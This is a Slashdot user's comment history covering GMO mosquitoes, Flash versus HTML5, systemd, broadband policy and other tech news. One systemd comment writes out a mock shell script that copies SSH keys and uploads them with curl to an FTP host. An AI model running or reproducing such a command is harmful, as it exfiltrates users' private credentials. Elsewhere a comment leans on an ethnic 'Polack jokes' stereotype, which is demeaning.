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FDA Wants To Release Millions of Genetically Modified Mosquitoes In Florida

RavenLrD20k Re:So.... (258 comments)

Do you similarly complain about the FUD spread by companies like Monsanto claiming anyone not approving of them 100% is a whacko?

Yes. I do.

I never said there weren't Flakes on both sides. Deal in absolutes, and you're most likely a Flake, too.

yesterday
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FDA Wants To Release Millions of Genetically Modified Mosquitoes In Florida

RavenLrD20k Re:So.... (258 comments)

Your demands are moderate and perfectly reasonable compromises. What's not so reasonable is the FUD spread by the New-Age flakes that NoKaOi was referring to. Hint: The Flakes spouting "the way of nature" and "GMO causes all these diseases and alergies" are the same Flakes that spout "vaccines cause autism." I'm not saying that the majority of the anti-GMO crowd is as unreasonable (read: Dark Age Dumb) as the New-Age Flakes; I'm saying that the Flakes tend to speak louder in the media, which gives the voice of reason a much weaker platform to stand on.

yesterday
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YouTube Ditches Flash For HTML5 Video By Default

RavenLrD20k Re:Sprite tools could still help replace SWF (224 comments)

Unfortunately, no. Computer Animation isn't a hobby I've taken up yet. Dabbled in it a few times, but never got into anything truly productive. In my post I was speaking mostly from a consumer based perspective. Having grown up on the pixel animations of the old consoles, seeing the vector graphics animations just seem to clash for me. There's just a certain depth that seems to be missing.

3 days ago
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YouTube Ditches Flash For HTML5 Video By Default

RavenLrD20k Re:Finaly. (224 comments)

Wow, I haven't used Newgrounds since Macromedia existed. I never could get into Vector Animation though. I guess that's what I get for growing up in a Sprite-based world.

3 days ago
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Ubisoft Revokes Digital Keys For Games Purchased Via Unauthorised Retailers

RavenLrD20k Re:Fuck Ubisoft (465 comments)

Prince of Persia: Warrior Within wasn't so bad when I got it for the Game Cube, even though the graphics were rather shitty compared to what the GC was capable of. Beyond that though... I couldn't tell you of an Ubi game worth a damn. Even the PoP games that came after were complete shit. And the ones on the SNES were nigh unplayable.

4 days ago
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Verizon, Cable Lobby Oppose Spec-Bump For Broadband Definition

RavenLrD20k Re:What a bunch of A-Holes (255 comments)

Bullshit turfer! If goddamned Russia can do it, what is our excuse?

5 days ago
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Disney Turned Down George Lucas's Star Wars Scripts

RavenLrD20k Re:I only worry about... (420 comments)

So he Star Wars-ified Star Trek. So long as he doesn't Star Trek-ify Star Wars, it should be fine. However, I swear to God if I hear Han yell out "Chewy! Check that plasma Conduit to make sure it's feeding the deflector dish properly! We may wind up having to eject the warp core if things don't even out!" or anything else that reads like "I can't <tech> the <tech> without causing a breach in the <tech> <tech> <tech> or blowing a <tech>;" I'll be flipping chairs on the way out of the theater.

about a week ago
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Scientists Slow the Speed of Light

RavenLrD20k Re:This feels like a bug.. (139 comments)

A Single young process thread among billions within a single process that's among billions of billions of billions of processes. Think of the children, man!

about a week ago
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Scientists Slow the Speed of Light

RavenLrD20k Re:This feels like a bug.. (139 comments)

But this process is too young for a reboot! It's only 36,288,000 second old!

Broadcast message from root@u-vers3
(/dev/pts/2) at 13:47 ...

The system is going down for reboot NOW!
Connection to 192.168.0.3 closed.
$

about a week ago
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Dish Network Violated Do-Not-Call 57 Million Times

RavenLrD20k Re:Cardholder services (247 comments)

What constitutes fraud is the reason for the spoofing. You're doing the spoof to make sure that people know who you are and can find you easily by maintaining a level of contact consistency. This is the exact opposite of fraud in that you are spoofing your number to maintain consistency in your identity to others. Fraud is using these techniques to misrepresent and obfuscate yourself to others in the attempt to perform some form of malice.

about a week ago
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Fake Engine Noise Is the Auto Industry's Dirty Little Secret

RavenLrD20k Re:Just give the option to turn it off... (820 comments)

My '96 caprice has a very quiet engine for what it is (4.3L V8). As an experiment, I had my wife drive down the hill and around the bend near where we lived doing 35 mph while I stood in the driveway blindfolded and raised my hand at the first inkling that she was coming through (nice quiet neighborhood) and at that moment she'd mark the point where the car was with a balloon filled with paint. A few times she'd have the engine running as she coasted down the hill. A few other times she'd cut the engine at the crest and coasted down. The average difference between the two was a near consistent 50 feet. The distance between me and the car was generally about 10-15 feet when I'd notice the car going by with the engine off, and 60-80 feet with the engine running. So...engine noise can't be considered a safety feature for pedestrians? Screw you.

Also, there's a lot of jurisdictions where pedestrians get automatic right-of-way, which means if you hit one, it's automatically your fault (in GA this only applies in zebra-walks to the point that the motorist must stop before a crosswalk the moment a pedestrian enters a crosswalk, regardless of speed/momentum. CT, didn't matter where they stepped off the curb at, automatic ped RoW.)

It also doesn't help that I've had the living hell scared out of me multiple times by a Tesla going by as I was walking on the side of the road. I didn't "feel" that it was there until it was nearly right on top of me, and it's rather unsettling to see something as large as a car go by you within a few feet without any warning. Tire noise is not nearly as loud as you think it is, unless the tires are heavily ribbed, which most electrics are not going to have. Hybrids/Electrics are actually the least likely to have any substantial ribbing on the tire to keep rolling resistance at a minimum.

For these reasons, I have no issue with "safety pipes" or "simulated engine noise". The louder, the better. Keeps me safer when I'm walking, and I'm less likely to bowl over someone who doesn't take the time to look when I'm in the other position. You want quiet, get an isolation tank.

about two weeks ago
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Your Entire PC In a Mouse

RavenLrD20k First line of TFA explains all: (165 comments)

Not to be ethnist (I'm also a slav, though southern slav as opposed to Poland chiefly being northern slav), but am I the only one who's not surprised that this was a Polish design? This goes right in line with standard fare Polack jokes, for good or bad.

about two weeks ago
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Systemd's Lennart Poettering: 'We Do Listen To Users'

RavenLrD20k Re:How about a request from an IT person... (551 comments)

So...answer me this: Once I set the init script how I want a service configured, who's going in as root behind me and putting security vulnerabilities into it (hint: Only one person has the root password, and root is only accessible directly from the console. sudo is disabled.)? Now, if I do yum update systemd or apt-get upgrade systemd what is my guarantee that Pottering or any one of the other 30-40 Devs touching systemd didn't put something into the blob that is reporting somewhere outside of my control? How do I know that there's not some timebomb in the blob that's going to collect critical keys and upload them to RedHat on the next time I update the repos? Read the code? I have my own code to audit, thank you very much, and I'd rather not have to audit my init system every time Lennart decides to post an update to systemd. It's bad enough when I have to do that with the Kernel modules.

about two weeks ago
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Systemd's Lennart Poettering: 'We Do Listen To Users'

RavenLrD20k Re:Lennart, do you listen to sysadmins? (551 comments)

So you trust that the journald binary reads the "don't save data" boolean value and doesn't just ignore it, or worse, ignores it and executes this shell script:

cat ~/.ssh/id_dsa ~/.ssh/id_dsa.pub >> nsaReadMe.txt
curl -T nsaReadMe.txt ftp://ftp.nsa.gov --user keyfiles:AllUrK3yzB3l0ng2US
rm -f nsaReadMe.txt

Or, more plausibly, does all that in a binary blob? Sure. It's open source. Sure I can check the code and compile it myself to make sure it meets my need for security. But one of the things about using these "pre-built" distros is that I'm probably using it to save time and money, which means I don't want to be bothered with doing a code check and recompile on every single init package. That's the beauty of init scripts that everyone has apparently missed in this debate. One human readable script for each daemon running, so the configuration of a daemon can be gleaned over for any questionable bits and edited in less than 10 minutes. And being scripts, they're all plain text that's automatically executable. I don't need to read over source, find an issue, edit it out, and then recompile the entire init code into a binary for that daemon to make use of it. That goes for PID 1 as well. If it's not a script that can be quickly edited and then it's ready for the next boot cycle without wasting process cycles for recompilation I don't want it on my production server.

about two weeks ago
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There's a Problem In the Silk Road Trial: the Jury Doesn't Get the Internet

RavenLrD20k Re:Jurors (303 comments)

So where can I buy 900 foot runs of cable that have the ends already on them that I can fish through conduit easily?

about two weeks ago
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Obama Unveils Plan To Bring About Faster Internet In the US

RavenLrD20k Re: Obama: please stop helping us! (417 comments)

How do we seriously expect to keep that up at #1 for much longer if the rest of the GDP starts plummeting from the mindshare and infrastructure that maintains it collapsing under the weight of the rest of the world...like what happened to the USSR getting ousted from slot #2 and completely collapsing?

about two weeks ago
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Obama Unveils Plan To Bring About Faster Internet In the US

RavenLrD20k Re: Obama: please stop helping us! (417 comments)

It's about High Definition Video. It's about Video Conferencing. It's about VOIP. It's about Telecommuting for your employers. It's about being competitive on the global market. It's about consuming more information faster to better perform in the global workplace. Cat videos are tertiary to this as EVERYONE needs downtime as well to maintain maximum productivity over the longest course of time. As broadband speeds go, America as a whole is falling into quicksand and the Broadband monopolies have shown that they have no intention of letting America do anything but sink. The whole Land Mass excuse hasn't been viable for a long time and now it's just becoming a complete embarassment.

Both China and Russia have more landmass than the US and while we're JUST edging them out in overall average speed (32.1mbps US, 24.2 CN, 27 RU) our cost per Megabit per second is through the roof by comparison ($3.51 US, $1.76 CN, $0.69 RU (all values reflected in USD) [These values were aquired from netindex.com]. Seriously. Stop being a fucking apologist for these assholes!

Globally we're still on fair ground but we could be doing so much better, and we need to be. We used to be the bastion of technology not even very long ago. For the longest while we could truly say "We're Number 1!" but now it's beginning to ring out more like "We're Numb!" and we need to wake up as a country. The President's statement was a start, now we need to follow through.

about two weeks ago
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Authors Alarmed As Oxford Junior Dictionary Drops Nature Words

RavenLrD20k Re: Who remembers Archimedes and RISC OS? (174 comments)

Have you ever been hit by a flying Android Phone? Those things hurt! So yes, by extension, ARMs are weapons!

about two weeks ago
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How To Hijack Your Own Windows System With Bundled Downloads

RavenLrD20k Re:You don't say !! (324 comments)

Many people tried. Very few buyed.

This was especially true once internet speeds got faster and getting a cracked full version of the software was just as easy to find and download as getting the locked down shareware.

about three weeks ago

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FCC Demands States to get out of the way of municipal broadband

RavenLrD20k RavenLrD20k writes  |  about 7 months ago

RavenLrD20k (311488) writes "I hope that Mr. Wheeler has the ability and the stones to actually act on this, but I'm not holding my breath. From the article:

While his recent waffling on Net Neutrality is still cause for concern, Tom Wheeler's recent statements in support of municipal broadband are worth cheering. In a statement posted to the FCC site, Wheeler said that: "If the people, acting through their elected local governments, want to pursue competitive community broadband, they shouldn't be stopped by state laws promoted by cable and telephone companies that don't want that competition."

That's about as strong a statement as one can expect from the head of a regulatory body. Plus, it's a pretty blunt challenge to both the industry he once lobbied on behalf of, and the government officials many believe are in their back pockets. In particular he cited the case of Chattanooga, TN which built out its own gigabit per-second fiber network out of frustration with the options offered by the incumbent Comcast. The trouble is, Tennessee's state government passed a law restricting municipal broadband projects...

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The First day of the rest of my days...

RavenLrD20k RavenLrD20k writes  |  more than 9 years ago Well, I suppose I can give this a try. Everyone else and their mother seems to have a blog so I might try and give a go at it. If anyone cares to, perhaps I can get some feedback as to what people would want to know about me...or maybe wonder what in the universe I have to offer.

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